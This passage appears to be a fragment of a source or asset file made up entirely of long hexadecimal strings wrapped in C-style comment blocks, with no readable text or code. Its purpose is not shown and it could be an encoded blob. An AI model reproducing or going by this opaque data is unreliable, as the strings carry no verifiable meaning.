49f72dac80b05043a99286c9ac959d1da91a8cba54dfefab681fb38c0cc4156fe7f9dfe44d5b6e77c6e6d9edeb37da3fa9e7ada95814c5d67e95e8bdf9726d8d92968fb923986e30ecbb1039fc9d913c9358f5ed4595bcaa504af8eb9283418e037d060efcec4c0df5047b48f34f3f2c14329c398c8b969b18f32f7ec896787311fceb5ab242af2dabf772fb236977c7fe92fcd507b61f3c27961072b02e68e4bb4efc356b15282a56e97247e8d66d94c87fcaf64ea70edd2bb192705c5f72aaf3695992bc3647b05a57f12a1e363e5355b398aef679479046997e7020e18954d08f48babc3de2f4a139a8fb0800278448c7bb826fef5b9b18b360856abe95c1694679b3833680c615066776f3e7c1aa7cd056c5f9905324c07e64605ee68d11781b061dd7295ede26c79c88ddc4189631e6fea908cc1c2b4f5fdc1a368896bb8afdf5256bfe5d11801a6f08735227f780587534cba69299d81fa812298c9cbab6808654a5d1a6bb13b53a7821cabec458615e2344212fd634c13666557d23837985e801a0f2a6d54ee092dd36ac1a8812192fa76222046fafbe2d5c914e3e3b71509df1d19f3f7adf912e1d5cc159668ba99a37c9997d47dd53279a0c7ccda7d6577c74687539745678cb230b1ce3e045c888b9493f68dcd84d22a3222491bdc99ccc807117b3d58f900fbe0c85585a63906ac929de6d09aa0ac48aff8f918f92df067d6d74c992d37e007facaef4d3bbf4704666f01fa0d390846fec262a8a77ab4da9d65f7c3ddaa417e710f626ab0587a185cae9d1fed3a4516693ac83d1dec2a4dad29595d4d39bab64a21a40473bcc01e291e3ce492573ceb7ff1501fae6b551f04be6f10b65b28a4ffeffd263015910559ffd2e1219b08522ded49cd450444517d4c9b974494362551e254ddb8a05380e5185e2396364011b696b6bae0c2e6073823c99c431e8c660ccf417ce33a577f067eca2e86d81622f854683e34a4e0447d71cdd97c58d0fc995ef06bb9b10b3c6e2d9e17bf759cd509bf49658610c85481c98874f4677295eb978bcdff6fed8f7d04e4c9a29e1c8ad4e6ec88bc9029353da089d65a6934358efaedb9aa0c4df504b7ffe422174152fe00b4b67e9cc822d3f01fa8b50730a0bb844af543b64fbfcdc830eff0dd4f02f0c6ad2d6ea84d8e317fe4bc3998587f83491701f059a83632e6bbcea529cee9396b890da6e37822087f8e6f27aaf59c25177a2d4bc5d563ce*/
/*0b09c446fdb18fc59dc8a7587257448ebd70148d299365e1a8b87432dc701c8ff7b25bdbd4e44ad4bd4f6d2fec41a880cb154ab8cc25002a1a475366f5362aad4d980d47c12b79dca13d373167248adf8b22c590a768cb0a3173861723ecfd35f9a60ff5a1f512d54549d3c901776fc72152a50d2be6d2edd1e5737f1dee962753d88f663aaea2d108ea22a976d51ac9b879867f0ee7f9b5663776f457d2cbffa913dd833f8ebbaaed046e555099495fb681b9f670ade45d254b4d118447fde729de629797971912e34b46c213bef302d3979361bfb0f4f40eb75d778872e0d2cddd3142706200476078161f16000980d8a794761d185ee86ce647f9339401ecf23524790cca6d5845ec6fd32a9170048377e5f069daef76e6d65c82cb89a79b71537a84a83d18dbb32a885e502a1f434f9d760019d2f32d1379d8f851f1e74bff830e61ac81673fd75cda632bc320347d23ee9c647cc2d22ad9bdda7163b66a34bce9baeeddd52194d25baa4a71eadc7d482e4f6cf95b85716baeb03c95f8dcbac8fe9204bf7f60f380c43a1b518288e8eeff5f22cd152b9ecf8b2c1dfdea3b822d135975c14684e2d1c2c12543c28f8fa2cbed5b46eb8e474072e23cc66a57944935c95593d5652392cea5ef89908acfacd45ed945a42ffe911432de5a2ae5fd8a825fd8cc5fec2400400c49ea7984b8c563bcf22b38239e236aed7d988f28cb2f74b591dda5923ab94205b687b0d8d8838f6092b74b31f16a923b33175f74b18382fbb1f401032d8603ffa4de6df5535b9afeca5fc56600c142fd95a0a43299537ded359ad26252d7ee205e1a2bde87e35d256b1de1d0b1e699251e568f4dfdd9bc64a0c71ba50ceff8857084fe1be661b29024fce075ba681df07dcbdab6c446b3d8355ef4fdc63c984f9f5102eff470336cb761f9385de203529afb58be371945a68e1bbcf31ff8ec5d156225d6460a1400acd44110443b0c788f0d5ac206e213196bad71fdc6e4956937ae62a7c7752a7ae7059b00fe869dee1a4dc3a8f4ff54ae62fe051905c54884dcc9dfc7f4201ac1a48e3619db7c6e81ad4331d946db95f841d921fa7288f406da05f482d6ea169283b3ba0a8988f7c0f2138db72bdcb81f62c6e3cf2565406610ebf6e9a1e8e6e1fb184ea0b908733e3ad5eff528b55d6dd7c3856bd81a569336f14da29909340f0ff4e1641bb8593853ba31530db0a0e018c0b55d554335d03a07979671e68cb95ad9abd528d7c887307bcd90a85115406b4ade0f85adde48d0e7fa6e98e3d7494a1ad225ebfbb65756ae37c3177b2f072bfedfc1616571a8d582a9ab500fda3f3356faa92991e69b0fe0fc9bcfd3e2d55f381321fb1cf1f877f6526e79c264f8f2267aa41188cb9be9bab7f786c4cf73219aa84b765f85038973c4e3ee0b38d112a0a4081e322ec1302d0c2c59e5cea5381be33b41692e8df1abd3bfbe498aa8a0afdf58f4c93ff63589845a3fea303f49987a6480c29574357cb894c126db66a36c6b857040df95c14f49f7edc2fd4c368daa7fbae8c455c0c953c609e2adc5b9186e41e42f7974749106cf02e1b32309258ef3f6ef6910e92276c3f998fabb7ad524da199bcafde9ef8ab30027e8a180ff35ef92562b88ea0bb33e647716c05c51062490c315bf4bc34498d92f4d5dbbf3dfca2a7ede07b906a8e45074ab7edf48ca6a442c2f42c1596409397e2e8eadc388c1aef71d78e977db566e15152f1def3617e61e17f946d88c97fd75c08e9eb18882462441a5c3e76b73fa333e452c2934f300683241a5a1b75d1d60612df5471c2405273a4ad453846188d21144fe22e7cc9798738d9a10a138e4fe739c08e6b44bde21be3b09999a74f5c8a3d72b59f0c46da04968aa1466d039bc907107bbca25f9b10282291da36df4bfa8161a0a31c046cbb7e053b1a7aa9bc8ea97c76e3770e17a6731d256e9596d0fa927cf457ff2538c8f2437abc87861df75d3fb81305bb413316c01bbce2e36516dbb44b3bed8a29076af9e889513cb14bcc659ff5fd200e7e48d5627bda8d4f68743dc79fc091c45b71cd6819407158e33c9baf21737d6a1675e6a25e14ac0421c0a299cc43aa6a0233779c16b91e8911cc41d5c190ade76e9bce960a6b65a8f08a940ae75c33c4d62a1a51ff977352c50e36615d8d73d7f310e7da59eded9bf8f7e13db7e4540c7f2b66e7d9ede83e3b3acd575f29da0797494b9ba9fd6cddccb2cf8d6a489247121674c95fc415923ae7c1d477af7224d8e49a49a2e966bc203f464c8045603206c5fceb226a71d73c12e0490cc05b8e38ef12ee441394c55991eacff8ece1e819d48ced4ec20a1c85486291091aa9586586d87534f14752596b5c3b3e27d2fbbc593f8ce0164ea8c9d36a1d8b74e8c34facd5400714c324928cb2fec80565085003865c50ed192f625a2007ea14771a3589d3674d0342d21fdebb45047ef57a6f65299269af1d2917f932f9635b828e871c083518653fb7fd859c7f455e8d5e063a1b5ce5160c1c1d60c54b33130134cf7b4dea405cbe91c518311c3f7e0582817bb62a119f7484a88325707e28a16a3a301863a17ded63996bb5fc8ec526c2353e2cd4a19226da8191e4b758dc9de32424cf04235824fee1cb20c7356754d53a465b3e5099f584c8bde880d250f79d5783b73183dd3a790637b3491b0bb84764e1b357569eb290158e3d59572c1c541b210ca60155c8f33d8a44e0a722ae850b04c5ed07c5b96587ffd113c7db0d87f082449f77ddef5938f0d185bef8a5ce2f710da68d79dda4d7881fd59a7cf184e56a36936557c*/
/*e3bfe6db1f5ef0d7b38e521979e046a5827b79963f5d196cab1b651989517b170b4a042a34d409338956f6f35e2b07e12d73aaabc5d38f194f40ccd3efe101ed5d9d4f1606d44d06331620335e0d7c8142ad4501970a1d1968e17c9a5d786d2a885716ca9e7a7ea6384536be441062b910ef71c9f4143a463d95d06f7a5367f615e38ea0c303aae998313a788134a145f0d82d7610fe3ffded9966e72f7516de4b5b91e0335c9266225d2caee5dba45af80d3afd64f32bc15a0c827891c823504ce57cb1b81bb56dffe08fa36af602220276b7306ad08806d8e3b2b9ae43f0aac3f9232b0795c451a2300a4d885f737305467433e816912cc076ef6f9e5733a883d358478c04c94d6e5f3ea0a27345dab3a09529ed63e92512862d20519dce0feb0ee0532a9fbe9dbaca2a619c07ebd1519527f09345439f71883a29b126aef397709d4ffcec29b0df9e3b0c9db57f40f396690499e001c23f2b5e45258529bff9c6715c94ed4c004e8cf82402ce9073289d3c4333eeb9d8144c955c6a3cc43c8c7e3eaf5a67123ab82964261d720365cc9c39c48ad304ac96e5c0dfbe4a52954ecbb122e7b092037ff93688cff7864f0821c4a98ea65f67b9c67a3a4e62163253c663a1441e3bb73b4a5170272d4101c9fd7897a00635d59c370f07559b2ed1c6f00271b497eceb0d60358f35c5f254b3158c4ec2628b7829b6dea443092018cb8bc9a115a9b817997bcffcaec2db6d19fac889c3676a50cba523496a200ebb972983aaf0b2c616f30612c4ba39b7d3187b1c8cfc665d3ed35f4a0bbf210b4976f0073477433415477421faff7b4293e5183977c3597c6e569c461d44f1cad965fa5fa4e199083422ac23139aa557a2bd161baffca13b6fd519fd2b2e7d5386b2cfd6e5d61561a59e2562f1f4e4ce9a51ab5b744c8e4e602109bd8da8705ead19155592c9068be53b32f645ae1f79e511e2c257fa3592ab10002b95d106a91ba7c3f0d4ae58c2ba21acb7c8b9b3c88403a21abb368f3d8a12cc8c6d918504375c09562769ea10dfc934fc2381abc508d5b196adb6b9eb719a1f5e66038e6a20d8390b5d3c35696f7e6c95dc66120a6278de9cc0c320f734b0636a3a2d4a6efc567e73415a3459115f3ae3b31ead7f4edf43189c972dc3fb0f05e6459f90031a5e397ee2a957ef0a9370b7f93f0db2abc187868a1c75ad2226d5e980ef1da234d3da2d116c9ae4a160a3d6aee23b66fbfa5591f07d9c6fcd11c73d84dab2106dd57e246745ce95fb28c66e427fa52efcc8c331d7572b9b2de7ce383458a42cc829c30d05e6056b2883ab1697fcc871352e9c75e68e57c8e9b752ec36809d8478a746cb436dab8816a1ef7b7ac34528b3837fb6d86fbc17583a116d7563df6d90b0739a998dd921338792f0af7355e3d04f986618b182db172948b628d2667bda07b0da4911180a8a12ff2d12e02e54ff1847830a98f189cc6e7ebf77a1890b7bd8cff28fe48e4e378c75704e986f882dd8661791a25c7aa60c1904683ba4f0346404517569fb7bf6f7ca17dcee0dcde54c5427f1aba28c6783ed3ff42bd34108b677a580e7b38809e7ab6b364a1173eee86ee341ebadb6c8e6da248c5dc0dd6d1a5097bf858523d4ca72cab69034ebe9aa9b88552fc73edec9d5bedb6cb99677623d59d62ca9760014c4926337077621736df8fe57ef39dacf2c1a981ff2a7fa3fc9cbbf87a2bd272e6112d96b5ce977f709f2df14a96e93e1fd0c55296ddaa4a4c362eaf2472f73f688fa676732715cae6bc56a587a1c1767a72e086dbc9167265a9f8c7cacaa26b46431a77f693acc98c90b580888779b8139a2b7855fbe0cc4d17b67f4db13f82f540831b6e77d6b89a57c1bc4fc957878c3172d46476a96dcf61a1e4fce624dd74e3f9ef4549d8b6591d3be3af8708a7853a8bf42bde768b9782be826b9c5306047b2cfb73388c04fc41cbe71cdcd6e8850d26a640d414d30ce4eeca1e1952f9fcad0060472f0b6bed34adffd7cf72686ca9a8596528da9cc7a518562cf2350411e977252d2ad96961326062099ed05097ecbae00f687296d18878f3852b1f315f5d8afab08522a27dee8d216e4bade6c901990ada58c5fc4cf61bc0d0c57d15fdc1f2c0b2a76ccfdcf013100b97e721ab777bfec60bae696ce73d8c07aaa80a5dc14b5d3e4dfcd86d4a3da0dfb2ee8892ea113fb87e18d92151c96e41316358d1f2c414ef998c2aa315249c31e2b8a6a6f83349a5ba5971b9f9b0fb9a11a18b7221cbe70d4c617bfee92f5918150cf4fbcfa6e09eccb8d02f61c0f435bdcedb2d3d45dd4d7681d07bde2af9ecf2948d3ca5d3bc74fd1f3abd4e4138814af0286c9fcdcffc771dbc1ee134a77f8be20e4a5b2914f6e393bb5acc89ad21c5e35509830a02ff329394c5d3463ff266770be24ae7d75007e4219fec5d2200c98a9bfff4293d43d4d05d6fd37953293152a06a0ccd6e80e1806d4e2ef96e53ec560576d3ef280b85adb31313cc9246fede5b124987f0c704f79bf396a67baafe751f773237f16ccfcf9f6c867e19d5115b9a19bb59b229699176f4f895673639dd6fcdde341ba2df6993566d3d40bfdc112beed58d43aaecd9a1e7e581a596ddca052c7fc46ea3a80940d1f1416818d74cb6192c354f66a544c9976cf6d597b34029328e2052f8eca084956dca99a2df66a0313879d1159e3dbbed77141996531ff146dcbd1c32aaa488e82b53458afefe613dda3bfb2a6cdf7095867f7023d119dcc887c1fdd665a4b00f7f0c787fb1c466df00bf5fc9ee45e5f59600c1cab7036772d27d3bd47c585*/
/*2487b322204dff0d7d6def00e9e123f58b797d15191d8c20be2a0c0394ece3c368ceb411ca077accc60d9f76282c3255f34a9d8bf59a7ae13c4f5bd48178e076d88283527d1ed4498dcb1d0c999e5adf683823372dbd64a504720214748807d5b3d65756786a644c8210c12398e62340b0a24ae0b34eb3cafe87b776cb22b7b56162ef686e3b75f4658f8603fed8443339a11e9db26063e7bbbb13154f8b1d754f95429dd81ee6bcdcea0cc1cde36165540767b187d5dfbfd5f98d0301096606eb3ad7834f42bf26d0ac09039536d4385c39f73713b47a21eec4244a40198d98296f6d4ba10b3c3529c8cadbdc01fc32f1f5136094df3e81ebb88016fa378b4155f8648e4d55524d88a4086e0efe1dba635aa47c7372016fffe722f8a24778e280a87808ca4f870509556736d45c59fa5660c23c91cbd854a470c84afb3a176431cdfd2f21d7a807aac0cbe80a787ed902f5c8e8bb54a569adb94db659e30b702d93fb69151a7663d13fe56e2d07f957675805c91a03d5120effc46589d7d7b8017ef28516db63d9241ee812717588662c50eb2068f4b808ce4c67a7f82b6f92b7c449d4960be0906ac0f3fb9c91708da7fe304d36969a26805be22392d4d8348a6a3211355e89fc797c834d0b67394ecfed537a86d0125665977cd77c98ef9734329ad005f74e21ed2d54b8cefc21834548e6409663227acbc436fd82d4a21bd729c04c294d3a11b5219e333b5839db3ccc361885ab2ec1abaf865831ff3447ff4152406d9227f664fdafe26c6bd14de0754160b2d5a2af69e9b14dacf42925374b3f0d8952f3851da99193489644a2f21d6bd6cf5eab4d08de0efdcc39228dcca8902f0ede2e54ea9c9bd62dcfa3efc65ce7c3006fd67a8662f288e381633416b44a46ea0e77223093cb33f519fbe6ac034b26b1210155131b5f859b7a4c1152193425d607c9e078eb5cf552a1cf8f42842dd93e29ab2335aa0bdd0c7428fd46c32e6cf66ef4c07911cf90337daa96e601a95504f253a9aa3c3261e0b154a8dd929ac26a10dab8bd5fcb0283da8e0c4fdb9d6181b31ea5ed0fbdf71dc4a234791c2d496a9f5cd2fb531a5fb2e9fdbb45d5efbfa118cacc42be306d64ac86bad479cd6320f346d08c5dd3593efec5a825562fc47339105fdb73f8fd389820346c3ba612acf9dbe7768168c365d0e1d6bc15eb9bf7527a51cfe780392df6d63e74e76324165a12ba003c5d77f76ef538d95651efe89689f0148daa271381053037beb6371bca8c0fa2497fc18bae12e70aa985ba791dcfcf9a696693a3892c69e2f2be2f27224e821af90b5fce1ed249c03b191c80d7a40e6fd528a6bb2f768830ad4e6f3ebbf074ca8427154561f6227828c65009942b8c706a12c84d577368edf3cdb49a5dfcdd67ef97fe5d15d82180317d0281d5e3a113b18d422f7e6f7b6e82ad11376d187ca1f8d612c1a45bf969af2ef43ab91745638a1d4bc3a607489497929b6c8b050b7fbebbb7b02859fc65b790e3529601f842ac73921eb0339c9ce37aa15f7fc9a1326a6dd80c32b3ad1c414bf0dacdc676a94f69f181de460121d81880b970a6487493bfca04c7825403adf21d9d3df94c0279081443ad12d14997867803a1f2ecb49c4afb4913eec425dc80d28f7ad75f18d32d1db9ef1c5494a5a87bb006706d7e51553a933ae2ab7876f01a6d07eee14282d3ec15192439b78d4507b15c12b9eebd59b921263cb53e8b434e4c5ed612c66ea89ea2624c6a71bb727cb9b499527fc50206639deb990dea73d1d7f1943a14205c2f2e1aab317ce9d0f4a59367cb837fe05d63dbf1a9d21d8f23478baf9ee3bfc9b4c2f8baa354d0169b46b88294c3c8343acf7d49a3808c052584d9159bfa70acd1f8e33fe9464adc29b78a4b21637d9f3fd772a8b6ba2a78080536aa142f6a3639d4db995890a585fcde3895af840b4500eddcc8abc40a860670c69a047cac11e30cdcee6fdfd397c323470ee3bd3afd02a92c1df616dbe2306e2192f407cd1ae8ba5f1c6e229497af43844530e1cc8a4f87b0b5d79faec93fff7dd5a1e1acfbeb01f2e12b7ee6e39d6240b13a29a90e5dc88827d1e077e9bd43d54fab9eabd25f0b80b63a629bfe0d15d4bc0033d9ba89768ead844b17a48087a9a0e8e6865687dc886a85103f04333247da55ac2ed2e1d837b096c128ae9d6e95e55d7be612307e8eca61f6e16cad5f864bb0347636bf0a80faa595915a943fe81ab146f33a78f3b363d2c7141d7abd755f2ef94c14f0e9b430345f10e626970ccefb7f69ed18aa23b4e26985503f5f6b35ed55c712c1a4588e3b1762394ded4dbd7c4eadedb453ae4173256b486e7aa032e01216e5854642856b22d7a1446452e7b65621d156fc388ad6b8fb101c1ad49c055af12fae0e37dc40f4f635ac09770e5e39cf7c01fd0a054427823365e7ee4a7b81e73f3c8490525619885b5896c806c1ba7b75568c14e7e498a6ab937942716ea8b190f5c838ab0b25c7209f826d758d0d3f432ed54693d3ea57be1c25cc9cdb705282df9bfd04cbb9aae3beb73272c08feb57b713f269373523828fc9367717bbff5817fb29f87f9dd0469dda056161ccafded75316ecf5ff938a2cda9e5a17d74258610521fb2944b3c1aceb3b7dd4f41effde2382772dcb78cc3180af5e1985ea73dddab32baeead5b6f88d3fd95f2d1e929349ec6b4b90efd28d849bc9dca1aacff9b33bc56d78bddf2ecf75d9aa0cfad6bf1bf5cf0b99aa7b0b825a07ac968e541c01317c00e26a2010640ad317cebf7fa9a8ac013dfdc96d101a1166dbfe5c4cace2f89647*/
/*85481cb8934d627589005e51d28683bf1f4eea610021a7e5377fc2c4322b36aa706c7352bbf032fd365a7d563993e6a7a30c0ff332ef8d0d2ba0ec58b6d04947ac6b5d0bc22d16b8b4c5a1707a12d4eff69f1db05cc814267489daf6a9038efe2a04b9d30f31661f3db97497cdac77bcc83e50643b33fd0138053623bb86ecb96b67e62ce3c038e038c5c4b31571efb5e74ef2e95f5baabe03dd743d13d90c7ef0811858b6b5cb61c71c6948ebdb8f14b161ea61a39acd39b638eea8adb4096662f2a58da61b7b606c1301de85adf69de9ebd5ced4d9e312581098c7c9df0eed5675dce3146ec18ebda99615b2927b7306c8b97cf6ebec8b6182f7ffc909da9aa1b133103fa863d398e859ab7e308be61b15c1a66219cc6b016b82c284f3198a4ab6d824a3985231b75c2505941bc3034bd94612df74df6cb051c916ea971cf1d92d08fa47ab126125e02a975b82d6d431c448c69ed39926e61e752e7cfe639b0f8bc35e66d890a58eb7dd855e7993549643ae38582e8697cc29b495d8fff3023d0edaaf517c21f0b323a2bdc76675e68b153dafd9a2c44229f2d6f92a825c61a1a85722a2787495f710a0781888ecb5dc70e633e49483a95ff40c5611a98fda0518fa3d6416746cc8912adfb340e8bdbf6a12a163fa6e7322cca91f0384f81c4ac43ba0a4055bb8655451751581b213770df41f55fef26ac21d07ce8d8b8ab5345bd3d4322a997291675cc9f073cdd45140a2676a3e9525868f548e78684937ee09b8847b14f4b875a857eb52202458852b9483eeaf0508fe9f880bd252ed14def120608a7502abd4df38d5df49b3617def222ecf0a75226888a3876f46d46d72e8a255c4398feac4b9551e2a692d33d0b558861bb719ee3c4378bae65abbf4c5ea9ebd335a6729ecc2ed5208a26e5a83b8f7f1a510efc8b1a2cb8cb8832014b414041f2fa21657ca06c56a5137301a7c2636fb149b64b89528dd38cfa7de91b6843f04531054f00a4eee8e708edf98eaa1de07608c523002c3280f94835c311659441717263c0d7325bde56d00995f95fb83af78dd8a1a0ebaba5600cf34027ab2b1816879e7c2dddf8a79511942e49c8169a7a8acdad2e958e68ccb55b8cea18c39f66eea843aaeacc1fca226245300b4e99451dde5decc92265df2681539f6f4112558070388fbdedd106c3ad671595cca285adc41582407605aac532da9f4deb50bb0f8fdb99944bf5715bd91bc72a02323c9697d82bb5b964ceb6b9c83c7b107c92718478c7212c34fca4b428f27483ba4331df7f4beaa0ce716de27af3cbb76058e90cd792f0f0dfbfff96197734743f7f3b3ffcf65b153ee038cb43d95222976507281ac9b1bd03da1c270e641a2ff3d75aff56fc3b9b307440a3c2df95c50d6c71041e9abe52164762d5e06f31db9c48e68b43dc1b76e0300a2eaa0787b73da0b5423ad0180766544c9d4a4bf7315ad73ccd5dcc26c3c583b1bd74055293ac20b3da5a70ae653d766fb5c4865a42071c0b1b64f2f59fc8d30e409194a1f47e86bf379c8cf00da812fa741aa33e8fc1d8ab6551ffc631e11a692e98a44ada687db268ff3e8855dea7e5507b7e85cc3ee6eaaed049ef9ca116afa90d380be807caa570f0862f5e1b29b4aad3152d7b150672b93a260b76972a09139c7ae533a8c6eb8971dad42fbc3a0ff7ab0ca004a69ddb0a2d397c33be4026ba291a682f4109c625c3970d09d81f5de9f12c3cd4200a79f76245e69d1adc04afa9966600133e5b6329408609bfcd527335b0835cb20f9e107250bac86b09273c236de1b77d9330cf7854a9278cf417cdf9b7c47ce87c62d850346a87dbd2902af5ae69e8ce12024ac167be88746835bdf12ec77f878db58ca19964403de7e6a8ad6c6b9d12aaeed7d5cbcddace7bb8543f99411184f08eae8c0b5075b118c18f67b8bce79ab0c6d7e8369625beb64b17517632f38fce728d85317908c1eaedf9f9bd2b0749a1bb244df43b5fa045b32191f364ed35ddadfb88b3bbf4feef85369686f07fbe95385435cd81e07b63019e30968da1fd5e60ab74bb7c49bb453320ac21e357aea94a6956ae37fe2d354676dca085d8e3443eea343816902df7ab3516bbf70ef8ea8a16e909cb1e634583f62a19fc42d6685cc4f224e107c4f740488945f4f5347b42e3f8534db1998af015d5fe729377d32b3e9b857f943efb9537287f2b8a0aad3cefb14c3d7975b7802860131c99c6e92bd21f917266f35cce5feaa9b99d71935ebec905dce05d01e22c59cb9efb8f5f8c53e92438284fa109e1e841822159c0326fbe0a1ddde32d3c432913dc295cdfe46bc86672305afceafa67728fc61258a2c3992e1927113bf4d902878fb57d5c792b3917f9f3b8f7ed5383afbc281728addba69bb3b607b19318d254c4ee7b8af96c49448910a4e6372ff25baaed76db52947f62269c603c27c9f62ea5dd735fbd88dc28355c6e71abf5b793181faefb041d18bb24d02863f98b5aba94024e47c14ed6398d24b31fd53a6a2cfebfc7946d5ef8c43f9accd9f7d9196ee3a22254beb6f38d6a62aa5d95e0e531437fb6c87aae865ebf72b311139fca18154b466283ee29ed0aa669d8bb951553b7657dd77038eb1e62c8c6c7349b53b4c4550413c00237b5948e481046cfb6c2bfae6ccaa99aa44d922fca3f9d9db387300d5fbf72bea3ba76a9b8180eb0fc371ad0b8de835c58a179ecb9e9fb10f1d888cb49cbb17a0ec8105bc766f730be7683616bb6eff42e962c7b270dc9791ab34d216be55a06df73832d27ad5daa3536fd7cc03f51f8d8e4110d258fee37177*/
/*648f807080956e6648eaec0f3b17252d4027f4416037c87d9c1cefa78e54b79d932adbfa7787de3e64c03f870a6fd7b865c78aa27c603e822dfde06dc450a1e6cee348b536bf6e267e295a98218f83ac4c9b1050e5bbb63eb52e60bad04ce456c76b005cf53e2078c7e9d8665b06c94840208cc10de8ec67cd404137dde63a581393857e65db0fcf05207b564697201473b1ec71cdad91e28f7078c21cb38f0c15b2f92882db5a3ebd6192dd40ba1e3b38a541f2306ab161ae4015cc50c80e7bdccb9520bcb6464af1edeab7470a147311fe4cffe3b06052b88040bf15f97aaaf0b767d715c12aec658543e19371ee7651028df87ed2046ec6d3eddedf337d1b9ac681565a710c2588643e88b98be6901e15079b93e2e7d10a73b7fe26fb0ef3d4547a6cb9f098c2c143631f7a26182365a7c154a4e82e49fb01c506d9409b133e836b7e72a03043675e10889e35637c508dd6da6e0811d387c50e514cde9c54461f3f4b791367edba57c1261b59ead22936224fa1afa73768ee8e08964753680ae7a4c5b0aecdc7d9a0b444046574702a6950a8ebf45c71236d59e196418df9fd087bf2a410078edc1dd59e51bd0877ad4c0791f13ce5e3d22a736cf6476792abc06424cb2ae0937229bb8f7896f14b9dff6356d73d93f162511dfa91a4091bb9c2c845bffb614e3472ff6cb04b02ef82f4210ab93ae34266090526e7fa51b927109695b336937ed3a0cf4024895960c9b55040d711b09fd7cff7c70cb3089ceb4378fdf677d0b9482cca40f12a960d7b2524d8878f2d7f32867803af5c6e5adc33a10655c5f514f197928b5c11c8bf426df6a7e05a1ca16aa75fb0f0b9b0550af8099588c6ad081bcf870cdbca9ad71e8d1e4b287e74950b4e9bc786455f63bdabec98a10d47433202b57c6eaf1480401a8619b1c935d2a059c85f5bff4c1c11a83f470d831fbe98cfed30f06fe23f876c5425149b426a39bcf3ae1c8488289d274c1642efbf2e1dbc44aa9bc0c6cbeb8c518e98b6f5243555cdfb8ca9dc6a658cb49d99db60b6cb31581edec5875a8fb9a3606837a80d4275653f925ca0f4ca8a920aaf0edef12df72b66dc242df2e0fc3f96822154402fb59847b832985d0d51aa44c1ff30dc8b7fa2b951b0537353c8817a5516fed3729ee08a2b62c51880406ee412e05bc35ba03284ae1fae76064cb2429a276363c110e2daeccf97d9ce193a6aa2bb3ad9ec72e8ccf90425103bd12597628f993419221e97addfdbb57971d4f3b74ed5f994a50329ea718cca39f129519a9d2e04fcb2156c153ad3cf816e90b37948c10db10ccb0559d030019357aaa6709d4a25ee18e9bc0c3d7f1d0ca121264bf81323b280baa0b80e24250af5c61ecd5b3bcd985fb946147864ada4e2d9c6fa2f3b8a904853e6f03ddee8cc8909c3467bc1e0a23fc821ac052082943191eb5c2f085fb7e20e1cdc9c5a1597c091dd6e9560c5eb936f6381ee575ff81c8923fef3ba3382cff90e412f38e8bdab384d2dcdd69b5e5efdcb0d55e6219f0d91c262091d36a52ec6eeda2cd883b4fd5df9400d94110454ad87ab7bdc607dca61769744506981c187f782a58dbea29ad22f85c1fc40c01fc63cb4bb855ee2e40398e8d0efe0cf0622e8e4f0379ae8dfb60645a9eae182d1a3ea032b603f0b96b8ae2b2a762eca43b206ffbcd50f907894995fce3027995bd0d021d3dc1a8411f993ae03baaa7f45192aaa1f62c5547ac995281028c2362ac82f6821c0fd49f3da3def43a47a1cc20f6b556f03771996ce5f6617f953e7218675e0323b950513a83a265eec22d0c6a7f92bc27d7c3bf70f21c41c735288be526ebd295d83a774356680754c597c2709f2f138f29a4d9dc41094a10c347a9752b3d62c588c36fa6aa91e64e3332c6da0cbd0c652dc6dd2867f78b6e87eb71b6a17ebe4d8bf0acc647ecd366a60c2abe897b7dbaab8032ea748044d7f7e57952f5b3c4245d04c1fc50525fbf4917b506d8966cdbcbe6efc84631ca3139c4cce67a46d0bfa30383f940c3ae61a01e5e803c66a5eac254d7c729b4e09bf2fed2799aa6414ad11b652e6880fc0177807d1dbc979b0b5b6cd259b8d1366753f8695942cb026bf7ebd585ff7943b729c3a45a4de662e09426ee203b27227acf16edd896ef18fa82e8a59b69ba4c1a70544d072fac2548eb6485db69ee92e9983b1b63b6b04b0b1cd554daea4d6629c43b2e1e8a7e3059a78006bf2b7115432da6a92fb26a42abff99851470b6ccd3c8ea95c21bf1ae4fb382546b1dae5fdee662c587d8ee6c19c928d77a26b20ea1899aff677293fbe454235cbe9a6047fd809ad2ea6488e598c2b778d02ffbd01df0bf9522662f348e5548dcfdd1fcc4491c2dcd693833d71193d3ad595ee2bb2bc31d6d9792e6a17c4c1c491ccc72c294dffbd2aedbcba37d66d75b87bfeca641c7295be4a9681521b0aa513fc6a98490393099d50e9005b5f78998f55fcd87968f33ac11d27c3d9a3413f494dca1d2295e67eead347ecfe583d12fd6df46612082c2f01cab78c9bbfb4ff2ff8e34a3a952d4573f1b9636a9d63da331b8ed43a8fb7bf5c74c45c856ec882b7859867c5856f1f7a8762c324ecfdead19d34894b3f15ec265882ec8e9c616dd454b48f8302c8ac0e3bb3cbfabd46a22c6087f2302c245f60af0fd25a6a4947ecb6a92cbb6ba621396be79434f84e4184f2bc417bb3eeb78edcf5407e23b821a3eea2ab84359e242a8b01896708afe59ebdb9b6040bf72bf852540f2c301836ee7c511203d616592f9c081979522fa7fdfa9aaa937d97866b45f671e4fae6*/
/*66cda773be05b75bd1f8e88a5ba9ef63855c6b9f3f2271e91af201d0ace78572e379b0cb987bd4d22c48dfdd8abbb59c9c274eb837958ec6b46a991f5d9a4ec9575af84e686a72f6eef1a3aa6d6f1f7d2c1a0d8b0c7023a219a57834e2c6f5fed7f0d1a3e592ab18c6eb9153016f61b5aa0986335fa23f74e6b6e74799edfab2ab12b4749bddb4dd33154a292283262cec72c37cdb7772f14d56a7fb36c34da919d3772736d13b431d0c8ed6e4a1dc722e9cf077a3c372428890494ac7b815172cab59be0d0a468b7d2d740a19791312c7765ba45473c6d38bc8c4ed9963ec5737f467519538ee14e42b64108214fd8302fd917fba520ec535690e0671ca845cf453a72861599105040ff680cb5e5d445acc74e437a6c677c28982cc16061cd4688cdc1317170792bf80c2859a7be7a424e3c7cc2eb4b997a079b77fc209064650bca8ca7f0a80ac829138c6421a1e226d8ffa81e9c7cdd46726de79e49eda889cc233ddb3e38cda099479ef5e0b957038ac2a54f191604a8dfdc4b7bf1a15145b278a80b5e3403f4b5e99fe24563832c46d7903f4e1affb79d9fda01f3f87a353c161b4e79247ea34fb8de94742a73dea5f7f93b97ce710559a7938a0bfc11f02a8e4663aafed56fce01e11673d1195eb01b37b34db601ea28139dcfffbc98ba7387d4faa656de06a0b5cf687d5f09992eb848114b03385d590222e688dc317fc0be0e9376646de55f486f68e792201cc98131dab50500820d5f2e75b7149ce1fc4c0833510ed9e3984c7295b05ce40e2acd813d455f3132b6cfaf6ec56de9c9be5d3f470fbd7e66629a7f55ebab379d25ef7c6c50a52ca124833ec911ad80b50b0289ce84165614d31bde011c23b3aef0c1d5fabb0